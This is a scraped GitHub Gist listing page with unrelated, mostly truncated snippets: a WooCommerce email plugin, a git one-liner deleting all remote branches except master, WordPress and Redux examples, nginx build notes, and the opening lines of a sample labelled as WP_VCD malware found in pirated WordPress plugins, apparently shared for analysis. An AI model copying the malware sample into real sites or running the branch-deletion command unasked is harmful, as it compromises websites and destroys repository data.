Skip to content

Instantly share code, notes, and snippets.

@damiencarbery
damiencarbery / conditional-wc-email-sending.php
Last active July 30, 2023 07:32
Conditionally send WooCommerce emails: Dynamically determine whether to send a WooCommerce email. https://www.damiencarbery.com/2018/12/conditionally-disable-woocommerce-emails/
<?php
/*
Plugin Name: Conditionally send WooCommerce emails
Plugin URI: https://www.damiencarbery.com/2018/12/conditionally-disable-woocommerce-emails/
Description: Dynamically determine whether to send a WooCommerce email.
Author: Damien Carbery
Version: 0.2
*/
// The filter name is 'woocommerce_email_enabled_'.WC_Email::id e.g. 'new_order', 'cancelled_order' etc
@leoapost
leoapost / gist:4318441
Created December 17, 2012 13:55
Delete all remote branches, except master
# Replace REMOTE_NAME with your remote name (e.g. origin)
git branch -r | grep REMOTE_NAME/ | grep -v 'master$' | grep -v HEAD| cut -d/ -f2 | while read line; do git push REMOTE_NAME :$line; done;
@DomenicF
DomenicF / get_current_post_type.php
Last active December 5, 2022 07:11 — forked from bradvin/get_current_post_type.php
Get the current post_type context in the WordPress admin.
<?php
/**
* gets the current post type in the WordPress Admin
*/
function get_current_post_type() {
global $post, $typenow, $current_screen;
//we have a post so we can just get the post type from that
if ( $post && $post->post_type ) {
return $post->post_type;
@tzkmx
tzkmx / jquery-redux-example.js
Created August 11, 2016 23:40
Redux with jQuery simple example
// original from:https://codepen.io/mdd/pen/wGRqbw
// Reducer
const counter = (state = 0, actions) => {
switch (actions.type) {
case 'INCREMENT': return state + 1;
case 'DECREMENT': return state - 1;
default: return state
}
}
@qichunren
qichunren / nginx_config.text
Created August 30, 2011 06:23
nginx config
qichunren@qichunren-desktop:/opt/nginx-1.0.6$ ./configure --help
--help this message
--prefix=PATH set the installation prefix
--sbin-path=PATH set path to the nginx binary file
--conf-path=PATH set path to the nginx.conf file
--error-log-path=PATH set path to the error log
--pid-path=PATH set path to nginx.pid file
--lock-path=PATH set path to nginx.lock file
@moneytoo
moneytoo / gist:ab3f34e4fddc2110675952f8280f49c5
Last active March 22, 2020 16:05
nginx with OpenSSL 1.0.2 (ALPN) on CentOS 7, also available from https://brouken.com/brouken-centos-7-repo/
### No longer needed as of nginx-1.13.6-1.el7_4.ngx.x86_64.rpm from nginx.org
### it was compiled against OpenSSL 1.0.2 from CentoOS 7.4 so it supports ALPN (HTTP2 works)
yum -y groupinstall 'Development Tools'
yum -y install wget openssl-devel libxml2-devel libxslt-devel gd-devel perl-ExtUtils-Embed GeoIP-devel rpmdevtools
OPENSSL="openssl-1.0.2l"
NGINX_VERSION="1.13.5-1"
NJS_VERSION="1.13.5.0.1.13-1"
@nczz
nczz / class.plugin-modules.php
Last active October 22, 2019 11:19
WP_VCD SAMPLE CODE 盜版軟體夾藏的病毒碼 | [WordPress] WP_VCD 盜版軟體病毒解析 > https://www.mxp.tw/8714/
<?php
//install_code1
error_reporting(0);
ini_set('display_errors', 0);
//dhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJW
DEFINE('MAX_LEVEL', 2);
//bGF5X2Vycm9ycycsIDApOwovLzJoa
DEFINE('MAX_ITERATION', 50);
//NuYm1WM1pHOXRZV2x1SjEwcEt